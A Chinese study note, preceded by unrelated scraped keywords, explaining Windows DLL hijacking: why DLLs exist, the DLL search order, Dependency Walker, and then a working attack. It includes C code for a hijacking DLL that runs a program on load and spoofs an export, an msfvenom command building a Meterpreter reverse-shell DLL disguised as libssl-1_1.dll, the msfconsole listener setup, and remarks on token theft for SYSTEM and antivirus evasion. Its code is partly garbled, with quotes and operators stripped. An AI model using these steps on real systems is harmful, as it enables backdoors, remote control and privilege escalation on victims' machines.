商城网站建设目标,郑州网约车资格证网上报名,wordpress幻灯片插件下载,做网站开发 用什么以下是自己学习时做的一些笔记#xff0c;希望对各位有所帮助
DLL劫持漏洞
为什么程序中会有dll的存在
对于 Windows 操作系统#xff0c;操作系统的大部分功能都由 DLL 提供。 另外#xff0c;当您在这些 Windows 操作系统之一上运行某一程序时#xff0c;该程序的很多…以下是自己学习时做的一些笔记希望对各位有所帮助
DLL劫持漏洞
为什么程序中会有dll的存在
对于 Windows 操作系统操作系统的大部分功能都由 DLL 提供。 另外当您在这些 Windows 操作系统之一上运行某一程序时该程序的很多功能可能是由 DLL 提供的。 例如某些程序可能包含很多不同的模块而该程序的每个模块都包含在 DLL 中并从中分发。
使用 DLL 有助于促进代码的模块化、代码重用、内存的有效使用和减少所占用的磁盘空间。 因此操作系统和程序能够更快地加载和运行并且在计算机中占用较少的磁盘空间。
当程序使用 DLL 时一个称为依赖性的问题可能导致该程序无法运行。 当程序使用 DLL 时就会创建一个依赖项。 如果其他程序改写和损坏了该依赖项原来的那个程序就可能无法成功运行。
为什么程序会使用dll
dll的优点
使用较少的资源
当多个程序使用同一个函数库时DLL 可以减少在磁盘和物理内存中加载的代码的重复量。 这不仅可以大大影响在前台运行的程序而且可以大大影响其他在 Windows 操作系统上运行的程序。
推广模块式体系结构
DLL 有助于促进模块式程序的开发。 这可以帮助你开发要求提供多个语言版本的大型程序或要求具有模块式体系结构的程序。 模块式程序的一个示例是具有多个可以在运行时动态加载的模块的计帐程序。
简化部署和安装
当 DLL 中的函数需要更新或修复时部署和安装 DLL 不要求重新建立程序与该 DLL 的链接。 此外如果多个程序使用同一个 DLL那么多个程序都将从该更新或修复中获益。 当您使用定期更新或修复的第三方 DLL 时此问题可能会更频繁地出现。
dll的定义
DLL(Dynamic Link Library)文件为动态链接库文件又称“应用程序拓展”是软件文件类型。在Windows中许多应用程序并不是一个完整的可执行文件它们被分割成一些相对独立的动态链接库即DLL文件放置于系统中。当我们执行某一个程序时相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件一个DLL文件也可能被不同的应用程序使用这样的DLL文件被称为共享DLL文件。
如果在进程尝试加载一个DLL时没有指定DLL的绝对路径那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录就能够欺骗系统优先加载恶意DLL来实现“劫持”
dll故障排除工具
Dependency Walker
Dependency Walker 工具可以递归扫描以寻找程序所使用的所有依赖 DLL。 在 Dependency Walker 中打开程序时Dependency Walker 会执行下列检查 Dependency Walker 检查是否丢失 DLL。
Dependency Walker 检查是否存在无效的程序文件或 DLL。
Dependency Walker 检查导入函数和导出函数是否匹配。
Dependency Walker 检查是否存在循环依赖性错误。
Dependency Walker 检查是否存在由于针对另一不同操作系统而无效的模块。
通过使用 Dependency Walker您可以记录程序使用的所有 DLL。 这可能有助于避免和更正将来可能发生的 DLL 问题。 安装 Visual Studio 6.0 时Dependency Walker 将位于以下目录中
drive\Program Files\Microsoft Visual Studio\Common\Tools
劫持漏洞的产生
这里我查看资料理解的意思是就是自己编写dll代码然后把这个代码放到你要劫持的同一个目录下然后程序运行时则会优先运行你的dll只要你的dll代码优先级高于它本身的dll就可以实现dll劫持。 dll劫持漏洞
编写dll劫持漏洞的代码
我们有的时候写入的dll代码有的时候程序运行起来可能会报错但这个时候我们可以做的是在我们自己写的dll里面加入反调用函数直接调用程序本身的dll使得程序正常运行起来。
用C编写
运行了一下dll后会弹出一个计算器 #include stdafx.h BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec(calc, SW_NORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern C __declspec(dllexport) void PlaySoundA() { WinExec(calc, SW_NORMAL); } #include Windows.h extern C int __declspec(dllexport)add(int x, int y) { return x y; } extern C int __declspec(dllexport)sub(int x, int y) { return x - y; } extern C int __declspec(dllexport)mul(int x, int y) { return x * y; } extern C int __declspec(dllexport)divs(int x, int y) { return x / y; } BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid) { return true; } 用msf进行dll漏洞劫持
我们一开始先查找程序的dll然后我们要去写一个和程序名字相同的dll只不过这里的dll是我们用msf生成的木马病毒 命令如下
生成一个dll病毒
msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.8.134 lport6677 -f dll ./libssl-1_1.dll
然后将这个文件放到程序同一个目录下然后运行这个程序
然后我们这只要监听端口等着反弹shell就ok
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.134
set lport 6677
run
这里可以配合令牌窃取然后就可以拿到system权限 免杀
就是对我们写好的dll文件头部进行隐藏修改成正常的dll文件但核心还是一个病毒的程序。